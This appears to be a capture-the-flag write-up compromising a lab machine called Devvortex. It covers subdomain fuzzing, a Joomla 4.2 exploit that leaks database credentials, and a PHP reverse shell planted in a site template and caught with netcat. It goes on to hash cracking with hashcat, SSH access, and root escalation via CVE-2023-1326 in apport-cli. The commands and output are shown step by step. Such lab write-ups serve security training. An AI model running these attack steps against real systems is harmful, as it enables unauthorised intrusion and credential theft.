We can start with a port scan:
╰─ nmap -sC -sV 10.129.55.122
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-26 15:03 CST
Nmap scan report for 10.129.55.122
Host is up (0.031s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18💿9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.01 seconds
We can add devvortex.htb to our hosts file but we don’t see much of anything interesting even after some directory enumeration.
╰─ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -c -u http://devvortex.htb -H "Host: FUZZ.devvortex.htb" --rate 2 --fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://devvortex.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.devvortex.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
dev [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 69ms]
Once we add dev.devvortex.htb to our hosts file we can run some directory enumeration and we find a few notable endpoints in the form of administrator and README.txt
If we navigate to the /administrator endpoint, we can observe a login page that uses something called Joomla, which is some kind of content management system.
The README.txt endpoint is a text file that seems to come with Joomla and references its version number as 4.2. I looked up CVEs for this and found an exploit on GitHub here.
I cloned this repo and followed the installation instructions and ran the exploit like so:
╰─ ruby exploit.rb http://dev.devvortex.htb
Users
[649] lewis (lewis) - lewis@devvortex.htb - Super Users
[650] logan paul (logan) - logan@devvortex.htb - Registered
Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false
Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: P4**************0n##
DB name: joomla
DB prefix: sd4fg_
DB encryption 0
Now, we can see if we are able to log into the admin page with these credentials. We also see reference of a mysql database that might come in handy later.
Logging into the admin page works and we are able to edit PHP files for the page front end. I did this by first installing a plugin called Blog Sample Data:
I then went to System > Site Templates > Customise (Cassiopeia) > offline.php and added a PHP reverse shell from Pentestmonkey.
I then select Save and navigate to http://dev.devvortex.htb/templates/cassiopeia/offline.php to trigger the reverse shell and get one back on my listener:
╰─ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.144] from devvortex.htb [10.129.55.41] 35920
Linux devvortex 5.4.0-167-generic #184-Ubuntu SMP Tue Oct 31 09:21:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
23:03:41 up 40 min, 0 users, load average: 5.19, 5.32, 4.54
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
We can then use the password for lewis to look through the mysql databases:
#first, upgrade your TTY with this: `python3 -c 'import pty; pty.spawn("/bin/bash")'`
www-data@devvortex:~/dev.devvortex.htb$ mysql -u lewis -p -h localhost
mysql -u lewis -p -h localhost
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 67287
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| joomla |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)
mysql> use joomla;
mysql> show tables;
+-------------------------------+
| Tables_in_joomla |
+-------------------------------+
| sd4fg_action_log_config |
---SNIP---
| sd4fg_updates |
| sd4fg_user_keys |
| sd4fg_user_mfa |
| sd4fg_user_notes |
| sd4fg_user_profiles |
| sd4fg_user_usergroup_map |
| sd4fg_usergroups |
| sd4fg_users |
| sd4fg_viewlevels |
| sd4fg_webauthn_credentials |
| sd4fg_workflow_associations |
| sd4fg_workflow_stages |
| sd4fg_workflow_transitions |
| sd4fg_workflows |
+-------------------------------+
71 rows in set (0.00 sec)
mysql> select * from sd4fg_users;
The last select query will reveal the hashes for the logan and lewis users. We can write these to a file and crack them like so:
╰─ hashcat -m 3200 hashes.txt ~/Desktop/Useful-Misc./rockyou.txt
hashcat (v6.2.6) starting
---SNIP---
We can try to log in as logan on SSH and it works:
╰─ ssh logan@devvortex.htb
logan@devvortex.htbs password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-167-generic x86_64)
---SNIP---
Last login: Sun Nov 26 23:11:43 2023 from 10.10.14.144
logan@devvortex:~$ ls
user.txt
When we look at our sudo privileges, we see that we have access to a program called apport-cli:
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
After doing some googling, I found a post about CVE-2023-1326 that shows us how we can get a shell as root.
First, we need to generate a crash report that Apport will try to handle by first starting a process and killing it:
#first, make a process to kill
logan@devvortex:~$ sleep 10&
[1] 2197
#kill the process with the Automatic Bug Reporting Tool
logan@devvortex:~$ kill -ABRT 2197
#check to see if the crash file was made
logan@devvortex:~$ ls -lh /var/crash/
total 32K
-rw-r----- 1 logan logan 30K Nov 26 23:32 _usr_bin_sleep.1000.crash
logan@devvortex:~$
Now, we can follow the steps from the CVE post we found:
logan@devvortex:~$ sudo apport-cli -c /var/crash/_usr_bin_sleep.1000.crash
*** Send problem report to the developers?
After the problem report has been sent, please fill out the form in the
automatically opened web browser.
What would you like to do? Your options are:
S: Send report (29.9 KB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C): V
---SNIP---
!id
uid=0(root) gid=0(root) groups=0(root)
!/bin/bash
root@devvortex:/home/logan#
Now you can use this shell to read a root flag and finish the box.